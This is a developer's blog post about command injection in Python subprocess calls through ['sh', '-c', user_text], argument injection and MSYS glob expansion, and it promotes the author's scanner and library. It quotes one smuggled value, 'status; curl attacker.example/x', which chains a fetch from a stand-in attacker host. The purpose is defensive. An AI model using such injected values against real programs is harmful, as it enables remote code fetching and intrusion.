I review a lot of Python that calls other programs. The bug I keep finding is not the one everybody warns about.
Nobody writes subprocess.run(cmd, shell=True) any more. What they write is this:
subprocess.run(["sh", "-c", user_text], check=True)
That is an argv list. shell=False is the default. It still hands user_text to a shell, because sh -c means "parse the next argument as a program." A value like status; curl attacker.example/x arrives as one perfectly well-behaved argv element, and sh splits it into two commands. The argv list stopped Python from splicing metacharacters into a string. It did nothing about a program whose entire job is to parse its argument.
Two quieter members of the same family turn up in review as well:
- a value that begins with
-reaches a tool as an option instead of a value (CWE-88). Put--before untrusted tokens wherever the tool supports it. - on Windows under Git Bash, a
*.logargument is expanded by the MSYS layer before a native program sees it. On Linux that same*is a literal character.
I got tired of catching these by eye. So I wrote a small scanner, sg audit, and wired it into CI on the repos where it matters.
What the check actually is
Three findings, each tied to a concrete shape in the source rather than a guess:
-
PY-ARGV-001: a tainted argv token with a provable leading dash, where the target tool supports--. -
PY-MSYS-ARGV-001: a tainted token with provable wildcard characters reaching a native Windows program under an MSYS shell. -
SG005: an argv list like['sh', '-c', cmd]wherecmdcomes from untrusted text.
The action runs on Python and shell, exits 1 on findings so the build fails, and exits 2 on bad input. Clean is 0. The repo runs the same action against its own source — the badge on the README is that job, not a screenshot of it.
- uses: actions/checkout@v4
- uses: derbaroser-eng/shellguard-action@v1
with:
path: src
What it deliberately does not claim
This part matters more than the findings. Taint is intra-file and intra-function: an argv token is reported only where the hazard is provable from its own literals. Non-literal shell= is handled conservatively. Unsupported languages, parse failures, binary files and oversized files are reported as skipped, with the reason attached — never silently dropped.
I would rather hand you a short report that says "I could not see this" than a green tick that implies proof. The tool does not claim compliance, certification or a guarantee. It produces dated evidence and names its blind spots.
The part I did not expect
The library side of this started as a three-line run(argv) wrapper. The tests became the product. There are 140 of them: real attack cases — parentheses, backticks, $( ), pipes, redirection, newlines, globs, binary bytes, timeouts, exit codes, stdout/stderr separation — plus meta-tests that check the public pages say what the code does.
That second group is unfashionable and I nearly skipped it. It is also the reason I can write a sentence like "shell=True is refused" in the docs and mean it. When the docs and the tests disagree, one of them is a lie, and it is usually the docs.
Try it on your own repo before you decide anything else. The source is MIT and the install is a wheel from the release page, because the shellguard name on PyPI belongs to an unrelated package:
pip install https://github.com/derbaroser-eng/shellguard-lib/releases/download/v1.5.1/shellguard-1.5.1-py3-none-any.whl
If you want to embed it in a proprietary product without MIT attribution, there is a commercial licence with packaged source, an offline HMAC-SHA256 key and email support. That is what pays for the time I spend on the scanner. The MIT source stays free either way.
Details and checkout: https://derbaroser-eng.github.io/shellguard/
Top comments (0)